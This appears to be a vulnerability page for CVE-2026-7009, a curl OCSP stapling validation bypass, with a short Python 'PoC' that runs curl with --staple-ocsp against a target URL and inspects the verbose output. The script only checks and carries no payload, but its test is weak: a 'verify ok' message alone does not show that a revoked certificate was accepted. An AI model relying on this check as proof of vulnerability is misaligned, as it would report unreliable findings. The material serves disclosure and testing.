CVE-2026-7009 curl OCSP状态请求验证绕过漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-7009: curl OCSP stapling validation bypass # This script demonstrates how to check if a target accepts a revoked certificate via OCSP stapling. # Note: Requires a server configured with a revoked certificate and OCSP stapling. import subprocess import sys def check_ocsp_stapling(url): print(f"[*] Testing {url} for CVE-2026-7009...") # Using curl with verbose output to check OCSP response # --staple-ocsp enables OCSP stapling try: result = subprocess.run( ['curl', '-vI', '--staple-ocsp', url], capture_output=True, text=True, timeout=10 ) print("[+] Output:") print(result.stderr) print(result.stdout) # In a vulnerable scenario, curl might connect successfully despite invalid OCSP if "SSL certificate verify ok" in result.stderr: print("[!] Potential vulnerability: Connection accepted despite OCSP issues.") else: print("[-] Connection refused or verification failed.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 poc.py <https://target-url>") else: check_ocsp_stapling(sys.argv[1])